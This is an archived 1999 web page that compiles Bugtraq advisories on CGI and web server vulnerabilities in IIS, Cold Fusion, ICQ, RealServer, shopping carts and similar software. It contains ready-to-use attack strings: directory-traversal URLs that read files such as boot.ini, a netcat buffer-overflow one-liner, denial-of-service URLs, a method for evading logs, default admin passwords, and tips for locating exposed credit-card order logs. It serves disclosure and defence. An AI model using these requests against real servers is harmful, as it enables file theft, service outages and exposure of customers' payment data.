Make your own free website on
The Most Comprehensive List of CGI & httpd Bugs
compiled by
last update: 1.Jun.99
stuff mostly from bugtraq
list of server's httpd

CGI scanner in perl | CGI scanner v1.35 17/05/99 | CGI Check 99 [REBOL] 27/05/99

Name: WinNT counter Versions: Denial of Service in Counter.exe version 2.70 Date: 19 May 1999 Author: mnemonix (
A denial of service exists in counter.exe version 2.70, a fairly popular webhit counter used on the Win32 platform with web servers such as IIS and WebSite Pro. There are two different bugs: 1) When someone requests : http://no-such-server-really/scripts/counter.exe?%0A this will create an entry in counter.log of a blank line then a ",1" . If the person then refreshes their browser and requests it again you get an Access Violation in counter.exe - the instruction at 0x00414c0a referenced memory at 0x00000000. 2) When someone requests: http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As you get a similar problem - though not a buffer overrun. Whilst in a state of "hanging" all other vaild requests for counter are queued and not dealt with until someone goes to the console and okays the AV messages. Added to this memory can be consumed if the page is continuosly requested.

Name: Infosec.19990526.compaq-im.a Risk: Anyone that have access to port 2301 where Compaq Insight Manager is installed could get unrestricted access to the servers disk through the "root dot dot" bug. Versions: The web server included in Compaq Insight Manager Platform: Detected on Windows NT and Novell Netware servers Date: 26 May 1999 From: gabriel.sandberg@INFOSEC.SE
When installing Compaq Insight Manager a web server gets installed. This web server runs on port 2301 and is vulnerable to the old "root dot dot" bug. This bug gives unrestricted access to the vulnerable server?s disk. It could easily get exploited with one of the URLs: (How many dots there should be is install-dependent) Web-Based Management is enabled, by default, when you install the Compaq Server Management Agents for Windows NT.(CPQWMGMT.EXE) The web-enabled Compaq Server Management Agents allow you to view subsystem and status information from a web browser, either locally or remotely. Web-enabled Service Management Agents are availible in all 4.x versions of Insight Manager. Compaq HTTP Server Version 1.2.15 (Pre-Release) The only user accounts available in the Compaq Server Management Agent WEBEM release are listed below. account anonymous/public username operator/operator account administrator/administrator Once you have found one wbem enabled machine, using compaq's HTTP Auto-Discovery Device List It is trivial to locate other machines. There are three types of data: Default(read only), Sets(read/write), and Reboot(read/write). The WebAgent.ini file in the system_root\CpqMgmt\WebAgent directory specifies the level of user that has access to data . The "read=" and "write=" entries in the file set the user accounts required for access, where: 0 = No access, 1 = Anonymous, 2 = User, 3 = Operator, and 4 = Administrator. New Denial of service: Just to make this post somewhat worthwile. (223 A's seemed to be the minimum) The first time this occurs, an application error occurs in surveyor.exe Exception: access violation (0xc0000005), Address: 0x100333e5

Name: IIS Risk: Site Server's AdSamples Directory Reveals ID and PSW Version: Tested on Microsoft Site Server 3.0 Commerce Edition Date: 11 May 1999 Author: Andrey Kruchkov
Site Server allows the installation of an AdSamples directory, which serves to demonstrate the capabilities of the Ad Server component. If this directory is installed and left open to the public without limiting directory permissions, a user can obtain a site configuration file (SITE.CSC) that contains sensitive information pertaining to an SQL database. This information could contain a DSN, as well as a a username and password used by the Ad Server to access the SQL server database. Remove the "AdSamples" virtual directory from the DEFAULT root Web site, or change security permissions for this folder to sufficiently restrict access. The following URL could be used to obtain the contents of the SITE.CSC file: http://somesitename/adsamples/config/ A simple text editor can be used to view the binary contents of this file, where the DSN, username and password would be easily discovered. This is probably a great time to remind people once again to NEVER install sample content on production servers and to NEVER use the built-in IIS DEFAULT Web site without first thoroughly investigating the implications of doing so.

Name: IIS showcode Risk: Web users can view ASP source code and other sensitive files on the web server Versions: Microsoft IIS 4.0 Web Server Date: May 7th, 1999 Author:
Internet Information Server (IIS) 4.0 ships with a set of sample files to help web developers learn about Active Server Pages (ASP). One of these sample files, showcode.asp, is designed to view the source code of the sample applications via a web browser. The showcode.asp file does inadequate security checking and allows anyone with a web browser to view the contents of any text file on the web server. This includes files that are outside of the document root of the web server. The showcode.asp file is installed by default at the URL: It takes 1 argument in the URL, which is the file to view. The format of this argument is: source=/path/filename So to view the contents of the showcode.asp file itself the URL would be: The author of the ASP file added a security check to only allow the viewing of the sample files which were in the '/msadc' directory on the system. The problem is the security check does not test for the '..' characters within the URL. The only checking done is if the URL contains the string '/msadc/'. This allows URLs to be created that view, not only files outside of the samples directory, but files anywhere on the entire file system that the web server's document root is on. This URL requires that IIS 4.0 was installed in its default location. For production servers, sample files should never be installed so delete the entire /msadc/samples directory. Q184717 - AspEnableParentPaths MetaBase Property Should Be Set To False as well as one on removing samples. also note, that the exair sample (which is NOT installed by default) also has showcode functionality. WebTrends were also reporting the showcode.asp exploit, as well as an exploit in codebrws.asp (both from IIS 4.0). They also reported an exploit in viewcode.asp (from Site Server 3.0 Commerce Edition). All 3 reports result in the same vulnerability, the ability to do "../" up the directory tree and read files. GTRAQ&D=0&P=6155&F=P showcode.c tester

Name: ICQ-Webserver Date: May 1999
-sending any non-http stuff or even a simple "get" (without any other characters however) crashes the ICQ-Client. This works with ICQ99a V2.13 Build 1700, but not with Build 1547. Moreover, there is a much bigger hole in the ICQ-Webserver: If you have the webserver enabled, everyone can access your complete(!) harddisk with a simple webbrowser. When your page is activated and you are online, each request to<your ICQ-Number> redirected to your computer. Thus, every visitor get to know your current ip. Nevertheless, only the files in /ICQ99/Hompage/<your ICQ-Number>/personal should be accessible. But a visitor can "climb up" the directory tree with some dots, e.g. http://yourIP/...../a2.html would present him the file "a2.html" in the "ICQ99" directory. With some more dots, he would come to the root-directory of your harddisk. But there is one barrier: The ICQ-Webserver only delivers files with a ".html" extension. After some experiments I found a way to trick it out: I add ".html/" to the URL and the Webserver sends every file I request. For instance, http:///............./config.sys won't work, but http:///.html/............./config.sys" would. I have test this both with Build 1700 and with Build 1547. we were all using ICQ99a build 1700 Method used: telnet to port 80 send: QUIT <LF> it disconnects after 5 to 10 seconds. if you have a look at the pseudocode below, which i suspect mirabilis to use, you ll find thousands of ways to exploit icq. fread(my_socket,"%s %s %s", getword, url, httpversion); /// if you only feed two or one word, it 'dumps core', gpf under windoze change the slashes in url to backslashes; url = "c:\program files\icq\webroot_dir\" + url; /// yes, this is the '../../../../' bug ... open(fd,url); read(fd,buffer); write(socket,buffer); close(socket); i think its this because i made small webserver earlier to see common bugs. i checked on the net, and the dynamic server of francois piete (known for delphi components) and various shareware servers, or remote admin modules for eg. proxy servers are vulnerable. ( ----describtion of the security problem in Build 1701 ---- Problem: When the ICQ-Webserver is enabled (i.e. "Activate Hompage" is checked) everybody can test if a specific file exsist on this computer. Although an attacker can't view the contents of the files, he can test, for example, if a certain application is installed on this computer. This knowledge is usefull to prepare other attacks, e.g. sending specialized macro viruses or do some specialized D.o.S. - attacks. Details: Mirabilis fixed the old ICQ-Webserver-Bug. With the new version (build 1701), the ICQ-webserver would only deliver Files in the ICQ-Homapge-directory. If an attacker tries to read a file that is not in the hompage-directory of ICQ99 (with the same method as in the old bug), the ICQ-webserver would'n deliver the file. If the file exsists on the specific location the attacker would receive "403 Forbidden". If the file doesn't exsist he would receive "404 Not Found". Thus, he can test if a specific file exsist. It seems that the ICQ-Webserver first tests if the requested file exsists and than if the request is secure. I think, this order should be reversed. perl url get exploit icq-exp.txt tutoral for ICQ webserver

Name: Macintosh HTTP Server Vulns Versions: Shilo v1.0b (macos) DoS Date: 16 Apr 1999 Author:
A Program that will exploit the buffer overflow in the responder.cgi on MacHTTP Servers. As always, The Source code to the program is available. by epic of mSec ( ) To download the exploit Responder.cgi, a public domain 'C' shell for MacHTTP CGI Servers contains a buffer overflow that when exploited, will cause the server it is run on to freeze. You are at risk if your responder.cgi file contains the line of code: char PostArg_Search[256]; which is the QUERY_STRING, Since it only allows upto 256 characters after ?, the server will crash if 257+ characters are requested. Exploit Example: (nc is netcat from $ echo "GET /cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc 80

Name: Real Media Server Versions: RealServer 6.0 Core... Date: April 1999
The fact is that through installation process it ask for a password that itsn't hide neither when you write it, but worse is that this password is stored in the file /usr/local/rmserver/rmserver.cfg in plain format and this file have as default a 644 permision mask. ALL the files installed for G2 are set as readable by ALL users! massive chmod'ing. It gets worse... the G2 web admin facility uses forms to change/set passwords etc. (Some of) these changes are logged, in plaintext, in the world readable access logs for your lusers' reading pleasure... - - [14/Mar/1999:11:23:32 +0000] "GET admin/auth.adduser.html?respage%3Dadduser_respage.html%26name%3Devilhaxor%26 pass%3Dfreekevin%26realm%3DbadwURLd HTTP/1.0" 200 2452 [UNKNOWN] [UNKNOWN] [UNKNOWN] 0 0 0 0 0 114 I believe the PNM port is 554, which I believe _requires_ (for no good reason) you to run the G2 server as root (unless you change the port, which I did to 5540). Like Francisco said; the rmserver.cfg is world-readable and the subdirectory dbm_b_db and (worse of all, like Adam Laurie already stated), the dbm_b_db/users directory with user & passwd info is world-readable for anyone with shell access to the machine running rmserver. There also is a directory named "Secure", where -and I quote- you can "place secure contents in" so "RealServer will authenticate the user" :( So shell access to an rmserver = rmserver admin rights. (^.^)' this also affects Version of RealAudio Basic Server on Win NT, File Persmission is set to full access by everyone Station Manager from Lariat Software ( manages/schedules content offered on Real Servers and has similar issues. Quoting from their docs: Installing the product under docroot means all of the installed files are viewable and/or retrievable. This includes license info, manuals, admin info, *config* files...for example: might reward you with: --- RVSLTA Z:\Real\Server\Bin\rvslta.exe SERVERHOSTNAME SERVERPASSWORD xyz123 <-- ed note: Real Server pw here SERVERPORT 7777 CONVERSION 7777 X:\rmfiles STATIONMANAGERPASSWORD foobar ---

Name: Webcom's ( CGI Guestbook Versions: Webcom's CGI Guestbook for Win32 web servers Date: 9 Apr 1999 Author: mnemonix (
I reported a while back on (wguest.exe and rguest.exe) having a number of security problems where any text based file on an NT machine could be read from the file system - provided the attacker knew the path to the file and the Anonymous = Internet Account (IUSR_MACHINENAME on IIS) has the NTFS read right to = the file in question. On machines such as Windows 95/98 without local file security every file is readable. wguest.exe is used to write to the = Guestbook and rguest.exe is used to read from the Guestbook Their latest version has made this simpler: A request for = http://server/cgi-bin/wguest.exe?template=3Dc:\boot.ini will return the remote Web server's boot.ini and http://server/cgi-bin/rguest.exe?template=3Dc:\winnt\system32\$winnt$.inf will return the $winnt$.inf file.

Name: IIS4 as proxy Risk: allows proxied password attacks over NetBIOS Versions: Anyboard ( problem Date: 24 Apr 1999 Author: draz Q.
I've found a "little" (?) flaw in it that allows _anyone_ to get the admin login and password. This is because the forum CFG file is available to anyone. This, allows anyone to, - Delete messages in the forum (purge the whole forum) - Modify messages - Write messages as Admin - Change admin login and password - In short, do anything in the Message forum

Name: web/ Versions: Big Brother 1.09b/c Date: 26 Apr 1999 Author: Sean MacGuire Distro:
Exploiting the problem could allow the partial display of local files provided they are readable by your web server, and text-based.

Name: CC data Risk: private info revealing Versions: Shopping Carts exposing CC data Date: 23 Apr 1999 Author: boo@DATASHOPPER.DK
Mountain Network Systems Inc. Exposed Directories: /config, /orders (and others. They're all listed in config-file) Exposed Order Info: orders.txt Exposed Config Info: mountain.cfg Number of exposed installs: 18+ at a quick glance. Probably more. PGP Option Available?: Unknown Status: Commercial, ranging from $399 to $4650. Look for "import.txt" and "checks.txt" Import.txt includes every order ever made on the site in a tab-delimited format. Hole in Web Security E-commerce Boom Fueling Security Hole?,1449,4307,00.html Expert Finds Hole in Shopping Carts,4586,2246537,00.html Expert Warns of Safety Glitch in Online-Shopping Software Online Credit Card Theft Reported These various shopping carts create world readable files in the web server's document tree which have subsequently been indexed by numerous search engines. (If a cold chill didn't just run down your spine, please, check your pulse) To access this order information you need a search engine and a little knowledge of how these various shopping carts are structured. Since some are freeware and the commercial carts have downloadable demos, this is trivial information to obtain. It would perhaps be prudent for ECommerce sites to reveal their architecure and security scheme within their privacy statements. I for one would like to hear them all say "No un-encrypted data stored on servers - period." (This is our own policy) Hell, something as simple as a 1024b PGP scheme with off-net private keys would make me deliriously happy. Please don't ask me if your particular cart is "vulnerable". Check for yourself, since ALL of the carts listed below CAN be secured and are usually only exposing data when the end user fsks up the install. Simply check all files that contain customer data (order.log etc..) and see if it's available to a web browser. You should already have the path to it, so plug in the url to that file, if it comes up, you got problems. It should be noted that these are not "bugs" in the common vernacular, just improperly installed/maintained carts. Under NO circumstances should any of the carts listed below be blacklisted or considered unsafe. Quite the contrary. Many of the carts listed below provide PGP options that would completely eliminate this problem. Sadly, too few cart users are utilizing these options and instead are taking the path of least resistance. Here are the six shopping carts that, when installed contrary to their documentation or are improperly maintained can expose order information. All of the exposed information generated by these carts was discovered through a public search engine. Selena Sol's WebStore 1.0 Platforms: Win32 / *Nix (Perl5) Executable: web_store.cgi Exposed Directory: Admin_files Exposed Order info: Admin_files/order.log Status: Commercial ($300)/ Demo available. Number of exposed installs found: 100+ PGP Option available?: Yes Order Form v1.2 Platforms: Win32 / *Nix (Perl5) Executable: ? Exposed Directory: Varies, commonly "Orders" "order" "orders" etc.. Exposed Order Info: order_log_v12.dat (also order_log.dat) Status: Shareware ($15/$25 registration fee) Number of exposed installs found: 15+ PGP Option available?: Unknown. Seaside Enterprises EZMall 2000 Platforms: Win32 / *Nix (Perl5) Executable: mall2000.cgi Exposed Directory: mall_log_files Exposed Order Info: order.log Status: Commercial ($225.00+ options) Number of exposed installs found: 20+ PGP Option Available?: YES QuikStore Platforms: Win32 / *Nix (Perl5) Executable: quikstore.cgi Exposed Order info: quikstore.cfg* (see note) Status: Commercial ($175.00+ depending on options) Number of exposed installs found: 3 PGP Option Available?: Unknown. NOTE: This is, IMHO, one of the most dangerous of the lot, but thankfully, one of the lowest number of discovered exposures. Although the order information itself is secured behind an htaccess name/pwd pair, the config file is not. The config file is world readable, and contains the CLEAR TEXT of the ADMINS user id and password - rendering the entire shopping cart vulnerable to an intruder. QuikStore's "password protected Online Order Retrieval System" can be wide open to the world. (Armed with the name and pwd, the web visitor IS the administrator of the shopping cart, and can view orders, change settings and order information - the works.) PDGSoft's PDG Shopping Cart 1.5 Platforms: Win32 / *Nix (C/C++(?)) Executable: shopper.cgi Exposed Directory: PDG_Cart/ (may differ between installs) Exposed Order info: PDG_Cart/order.log Exposed Config info: PDG_Cart/shopper.conf (see note) Status: Commercial ($750+ options) Number of exposed installs found: 1+ (They installed it on our server) PGP Option Available?: Unknown. (Couldn't get a yes or no outta them) NOTE: if they renamed the order log, shopper.conf will tell you where it's at and what it was named - worse, shopper.conf exposes the clear text copy of Authnet_Login and Authnet_Password, which gives you full remote administrative access to the cart. shopper.conf, from what I can determine based on the company installed version we have here, is world readable and totally unsecured. And now a drum roll please: Mercantec's SoftCart Platform: Win32 (*Nix?) Executable: SoftCart.exe (version unknown) Exposed Directory: /orders and /pw Exposed Order Info: Files ending in "/orders/*.olf" Exposed Config Info: /pw/ (user ID and encrypted PW for store mgr?) Number of exposed installs: 1 PGP Option Available?: Unknown NOTES: This one has only been found vulnerable on ONE server. (user error?) The encryption scheme on the password is unrecognized by me but I'm not an encryption guru. Someone's bound to recognize it. This is a scary one though - HiWay technologies is one of the largest domain hosts in the world, with over 120,000 domains. They are using SoftCart for clients that request ECommerce capabilities. Perlshop Executable file: perlshop.cgi Exposed directory: /store/customers/, /store/temp_customers/ Exposed orderinfo: Several files, eight-digit numbered names. Status: adverware. Only requirement is to display a "powered by perlshop"-logo on page. Cybercash 2.1.4 - SMPS (Server merchant payment system) has default permission problems. The wrong moded directory is Cybercashserver/smps* which gives complete access to view all the config and database files. The most dangerous file that is left world readable is: Cybercashserver/smps*.../merchants/ or maybe another various directory path/location depending on the server and version of the software. The contains a crypt(3) passwd. This could lead to a system-wide compromise if it was to be cracked. Mountain Network Systems Inc. WebShop via Platforms: Windows 95/98/NT on Intel Linux on Intel or Sparc Solaris on Intel or Sparc FreeBSD 2.2 or smaller on Intel FreeBSD 3.0 on Intel BSDI/OS on Intel............... (Found vuln server.) Silicon Graphics Irix on MIPS.. (Found vuln server.) Executable: WebShop.cgi Exposed Directory: WebShop or webshop Exposed Order info: WebShop/templates/cc.txt and or WebShop/logs/cc.txt and ck.log Status: Free?, resale=$50?. Number of exposed installs found: 2+ PGP Option available?: Unknown. detailed analysis of WebStore at Paper at for all to read. While WebStore has already been mentioned in a thread here, the detail given was limited. If you desire additional information, my report may be of interest. In addition to the unauthorized access to order information, I found potential denial of service or installation corruption issues that, while not as large a problem as publication of credit card numbers, are still significant problems in the product.

Name: Cold Fusion 4.0 Risk: Web users can download, delete and even upload executable files to a Cold Fusion server Versions: Cold Fusion Application Server 4.0 Date: April 20th, 1999 Author: | .rain.forest.puppy.
In issue 54, volume 8 of Phrack Magazine dated December 25, 1998, rain.forest.puppy describes a security problem with installations of Cold Fusion Application Server when the online documentation is installed. The online documentation is installed by default. According to Phrack, the vulnerability allows web users to view files anywhere on the server. In examining an unpatched Cold Fusion Application Server it became apparent that in addition to reading and deleting files, web users also have the ability to upload (potentially executable) files to the server. A cursory survey of many large corporate and e-commerce sites using Cold Fusion turned up many vulnerable servers. By default, the Cold Fusion application server install program installs sample code as well as online documentation. As part of this collection is a utility called the "Expression Evaluator". The purpose of this utility is to allow developers to easily experiment with Cold Fusion expressions. It is even allows you to create a text file on your local machine and then upload it to the application server in order to evaluate it. This utility is supposed to be limited to the localhost. There are basically 3 important files in this exploit that any web user can access by default: /cfdocs/expeval/openfile.cfm /cfdocs/expeval/displayopenedfile.cfm /cfdocs/expeval/exprcalc.cfm The first one lets you upload a file via a web form. The second one saves the file to the server. The last file reads the uploaded file, displays the contents of the file in a web form and then deletes the uploaded file. The Phrack article and the advisory from Allaire relate to "exprcalc.cfm". A web user can choose to view and delete any file they want. To view and delete a file like "c:\winnt\repair\setup.log" you would use a URL like:\winnt\repair\setup.log This exploit can be taken a step further. First go to: Select a file to upload from your local machine and submit it. You will then be forwarded to a web page displaying the contents of the file you uploaded. The URL will look something like:\Inetpub\wwwroot\cfdocs\expeval\.\myfile.txt Now replace the end of the URL where it shows ".\myfile.txt" with "ExprCalc.cfm". Going to this URL will delete "ExprCalc.cfm" so that web users can now use "openfile.cfm" to upload files to the web server without them being deleted. With some knowledge of Cold Fusion a web user can upload a Cold Fusion page that allows them to browse directories on the server as well as upload, download and delete files. Arbitrary executable files could placed anywhere the Cold Fusion service has access. Web users are not restricted to the web root. Frequently, Cold Fusion developers use Microsoft Access databases to store information for their web applications. If the described vulnerability exists on your server, these database files could potentially be downloaded and even overwritten with modified copies. Allaire has posted a patch to this vulnerability. This is currently available at: http://server/cfdocs/exampleapp/docs/sourcewindow.cfm?Template= --shows you contents of any file you want http://server/cfdocs/snippets/evaluate.cfm --if the expression evaluator has local host only security, why is this one unprotected? If I knew more CF insides, maybe I could really abuse this. http://server/cfdocs/snippets/fileexists.cfm --can be used to verify the existance of any file on the same hard drive. Granted, it dissallows supplying a drive letter, or starting with \ or /. But the following works for me (since I'm on NT, and \inetput\wwwroot is on my boot drive): ..\..\..\..\boot.ini http://server/cfdocs/snippets/gettempdirectory.cfm --while this is not a security problem in itself, I was QUITE alarmed what the results were. Now, my NT installation is a completely generic NT install (all I did was practically hit the Next button where-ever possible): GetTempDirectory Example The temporary directory for this Cold Fusion server is C:\WINNT\. We have created a temporary file called: C:\WINNT\tes39.tmp Now why is my \winnt\ my temp directory?!? That means temp files have the possibility of screwing with my system files. Granted, this is probably just a variable/setting issue. But still alarming. http://server/cfdocs/snippets/setlocale.cfm --possibly's another eval. http://server/cfdocs/snippets/viewexample.cfm?Tagname=..\..\ --allows you to view any .CFM files. It automatically adds the .cfm extension, so only CFM files are prey to this. http://server/cfdocs/cfmlsyntaxcheck.cfm --I set this to c:\, check *.*, recurse, and it spit out various lists of .exe's I had. Also caused the CF server process to spike and stay at 100% CPU utilization. Plus it made two ODBC DSNs for the samples. While this is not a threat at all, there are some drawbacks....(information regarding this will be released in the future after completion of research).
Sources mole.cfm This Cold Fusion template is intended for testing security on ColdFusion application servers. It will let a web user upload, download and delete files on a server. quickie.c Quickie Coldfusion exploit finder v1.0 coldscan.c COLD FUSION VULNERABILITY TESTER - Checks for the l0pht advisory

Name: IIS4 as proxy Risk: allows proxied password attacks over NetBIOS Versions: IIS 4.0 with /IISADMPWD feature Date: 9 Feb 1999 Author: mnemonix (
Internet Information Server 4.0 has an interesting feature that can allow a remote attacker to attack user accounts local to the Web Server as well as other machines across the Internet.Added to this if your Web Server is behind a firewall performing network address translation, machines on the clean side of the firewall can be attacked Details By default every install of Internet Information Server 4 creates a virtual directory "/IISADMPWD". This directory contains a number of .htr files. Anonymous users are allowed access to this files, they are not restricted to the loopback address ( The following is a list of files found in the /IISADMPWD directory, which physically maps to c:\winnt\system32\inetsrv\iisadmpwd. achg.htr aexp.htr aexp2.htr aexp2b.htr aexp3.htr aexp4.htr aexp4b.htr anot.htr anot3.htr The files, save for a few, are pretty much variants of the same file and allow a user to change their password via the Web. This can be used in such scenarios as mentioned in the Introduction.Not only this but, like the vrfy command in the SMTP service it can be used to enumerate valid accounts through guess work. If the user account does not exist a message will be returned saying, "invalid domain". If the account exists, but the password is wrong then the message will say so. If an IP address followed by a backslash precedes the account name then the IIS server will contact the remote machine, over the NetBIOS session port, and attempt to change the user's password. (IPADDRESS\ACNAME) Mechanics Consider aexp3.htr. This produces an HTML form requesting the UserID, old password, new password and confirm new password. The form's action is a POST to /_AuthChangeUrl? /_AuthChangeUrl? is a "virtual file" in memory that actually maps to achg.htr. W3SVC.dll maintains this in memory and has a function, AuthChangeUrl(), which links this to the achg.htr file.(To see this function make a copy of w3svc.dll, rename it to w3svc.txt and open it in notepad. If you can't see it straight away use Find from Edit on the Menubar). .htr files are handled by ISM.DLL and so control is passed across from W3SVC.DLL. ISM.DLL then uses the NetUserGetInfo ( ) and NetUserChangePassword ( ) functions. (Again, open up ism.dll in notepad and you can see references to these functions.) The password is changed if the entered information was correct. If, however, the request is to change a password on a remote machine, the SYSTEM then logs onto the remote machine through a null session then establishes a secure session over which to trade the account and password information. Solution If you don't require this service, then remove the /IISADMPWD virtual directory. This will prevent attackers from "proxing" password attacks. If you do require the service and only need to change passwords on accounts local to the server, disabling the Workstation service should prevent this. If you require this service and want to be able to change passwords on remote machines, do your best to limit where NetBIOS based traffic over TCP port 139 can get to. NOTE In opinion of Russ - NTBugtraq moderator, all of this speculation, mistaken assumption, farcical hyperbole and arm waving takes away from the valid observations of the interaction between files and service which Mnemonix has told us.

Name: IIS 4 Request Logging Security Advisory Risk: allows an successful HTTP request to go unlogged. Versions: IIS 4.0 Date: 22 Jan 1999 Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
Microsoft's Internet Information Server 4 allows the use of any request method of almost any length for a r esource that is to be interpreted or executed on the web server.This includes such files as Active Server Pages, Perl Scripts and ordinary executables.Consequently a user can request a file, default.asp, with a request method of AAAAAAAAAAAAAAAAAAAAAAAAA and it will be returned. If the request method used added to the path to the requested resource is over c.10150 bytes long the page is returned and nothing is logged by IIS.This could allow attacks on the server to go unnoticed. MS have probably decided to avoid the situation where an attacker could rapidly fill up disk space by not logging overly long requests. Perhaps it would be better to truncate such a request and log that. To demonstrate this I have written an executable called avoid.exe that will use a request method which is 10140 bytes long that requests /default.asp from a webserver. This program does not exploit anything other than the logging avoidance. You can get a copy from This was tested on NT 4 with SP3 + hotfixes. There has been a mixed response to this problem - on some machines nothing is logged and the page is returned, others get a 500 error and others log the whole request. >From what I can make out: Machines that first had IIS 3 then were upgraded to IIS 4 with the NT Option Pack and Service Pack 3 or 4 return the page and don't log. Here is the source for avoid.c as many have asked for it - for those that get a 500 response back from the server play around with the request_method length by increasing it until you get a 200ok response. It will chop and change between 5xx, 4xx and 200 responses

Name: Perl.exe and IIS security advisory Risk: the physical disk location of a virtual web directory can be ascertained. Versions: all versions of IIS Date: 22 Jan 1999 Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
In all versions of IIS, where a website has been configured to interpret perl scripts using the perl executable (perl.exe),a problem exists where a request for a non-existent file will return the physical location on a disk of a web directory. A request for: will return information similar to the following: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Can't open perl script "C:\InetPub\scripts\": No such file or directory Previously this was a problem when requesting a non-existent .IDC file but this was resolved with Service Pack 4. To resolve this problem in IIS 2 and 3 you can use perlis.dll, the ISAPI version of the perl interpreter, instead of the executable. You can use this in IIS 4 as well, however, if you still want to use perl.exe you can configure IIS to check for the file's existence. NTInfoScan, downloadable from , checks for this problem and the .IDC issue as well as other security checks.
Another problem with some versions of perl.exe (eg 5.001 build 110) is that it can be used to glean information from files that should not be readable (eg .asp or .idc), possibly even passwords and user IDs. This works even on directories with the "EXECUTE" permission only. The problem is caused by IIS not checking for a file's existence before passing control to a command interpreter. IIS 4.0 can do this, but it does not do it by default. Other versions of IIS don't have this capability. Basically what you do is request a file and append to the end of the URL: IIS receives this request and assumes it is a request for a perl script due to the extention so it passes the request to perl.exe. Perl, when it receives the instruction to execute default.asp treats the .pl as an argument. It goes ahead and tries to run the "commands" in the file but can't because it is not a valid perl script. Due to its verbosity in the error messages spawned by the file not being a real script you can glean information from the file. To see this working create a text file and call it passwd.txt. Enter "webadmin" (the user ID) on one line and "secret!" (the password) on another. Save it to your scripts directory and enter the following URL: You should, depending upon your version of perl.exe receive the following output: Can't call method "webadmin" in empty package "password" at C:\InetPub\scripts\pass.txt line 1 Some web cgi scripts require password files like these. Depending on how any .asp or .idc files are written you may be able to extract userIDs and passwords. Again another problem is that some versions of perl.exe will accept wildcards such as * or ?. Request:*.pl and perl.exe will open the first .pl it comes across in the directory. You can ask for * or d* - these will do fine. To stop this problem from happening use the ISAPI perl interpreter instead PerlIS.dll. This provides for better performance anyway because only one instance is ever loaded into memory. For each concurrent perl script request a new instance of perl.exe is loaded into its own memory space. This behaviour was discovered by Mnemonix.

Name: PWS32 httpd bug Risk: allows remote file listing/downloading/source viewing Versions: PWS 3.0 under Windows 9x. Frontpage-PWS32/ Date: 21 Jan 1999
the following URL will list the root directory and be able to download any file you want. Index of /....../ WINDOWS My Documents Program Files FrontPage Webs AUTOEXEC.BAT COMMAND.COM Shares are accessible via personal Web Server. For Example, I tried sharing my WinZip Directory as 'Test' and strangely enough brought up the WinZip Directory. Under Windows NT 4.0 SP3: [ It seems NT interprets N+3 dots as '.' ] C:\TEMP> cd ..\ C:\> [ It seems NT interprets '..\' as '..'. Makes sense as '\' is directory delimiter character for paths. ] C:\TEMP> cd ...\ C:\> C:\> cd TEMP C:\TEMP> cd ...\WINNT C:\WINNT> [ Whoa. Now NT interprets '...\' as '..'. Bad. Real bad. ] [ But it doesn't work in directories more that one deep. ] C:\TEMP> cd ..\...\ C:\> C:\TEMP\TEST> cd ..\... C:\TEMP> cd ....\ C:\TEMP> [ Hmm. Now NT interprets '....\' as '..'. Weird. But wait it gets stranger. ] C:\TEMP> cd ....\ C:\TEMP> cd ....\ C:\> [ The first '....\' as interpreted as '.' and the second as '..'.But:] [ Now in a directory two levels deep the first '....\' is interpreted as '..' while the second one gives an error. The first '..' is interpreted as '.' while the second one works as normal. ] The '....\' problems seems to appear for any such string with N+4 dots followed by a slash. I can only guess on the many other ways they may try to interpret pathnames.

Name: upgraged to IIS 4.0 Date: 14 Jan 1999 Risk: Admin Brute-force hack and Buffer overflow Versions: those that upgraged to IIS 4 from IIS 2 or 3. Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
Microsoft's IIS 4 limits Web-based administration to the loopback address ( by default as a security measure. However, a relict left over from IIS 2 and 3, ism.dll left in the /scripts/iisadmin directory, allows users / attackers to access the previous ISAPI application used for remote web-based administration from an non-loopback IP address. On accessing a URL similar to the following a user will be prompted for a UserID and password and if successful authentication takes place they are given access to sensitive server information. Note however, that changes can no longer be made with this application. It does however provide an attacker with a means to brute force / guess the Administrators password and if successful an enormous amount of reconnaisance work can be achieved through the application's use. This application is now rundundant and can be removed. It plays no part in IIS 4's Web-based administration. Added to this if IIS 4 is installed from the NT Option Pack and Frontpage Server Extentions are installed too, the fpcount.exe utility found in the /_vti_bin/ contains an exploitable buffer overrun. I advised on this last year and MS produced an updated version in FPServer Extentions 98 which can be downloaded from the MS website. Fpcount.exe (c) mnemonix Microsoft's FrontPage extentions comes with a utility called fpcount.exe - this is used as a webhit counter. If you access this program directly you can cause a buffer over flow and/or tie up the processor at 100%. The two can be combined into a denial of service attack that will cause IIS to stop servicing requests:|Image=3|Digits=10000 Note here we are asking fpcount to calculate to 10000 digits. This will cause the buffer overrun and Dr Watson, or whatever the specified debugger is, will kick in saying so. When Dr Watson loads here it takes up about 4000K of memory. If an attacker reloads the page a number of times the remote machine will soon run dry of memory. To then finally kill IIS an attacker would enter the following URL:|Image=3|Digits=-10000 With this negative integer the program's buffer won't overflow and will tie up the processor at 100% while it tries to generate 10000 digits. The largest number I've been able to send without problems is -99999999. This will kill IIS for upto 10 hrs depending on the speed of the processor. Even when it has finished calculating it is still short on available memory.

Name: cgic library Date: 10 Jan 1999 Risk: Buffer overflow Versions: Thomas Boutell's cgic library (version 1.05) Distro:
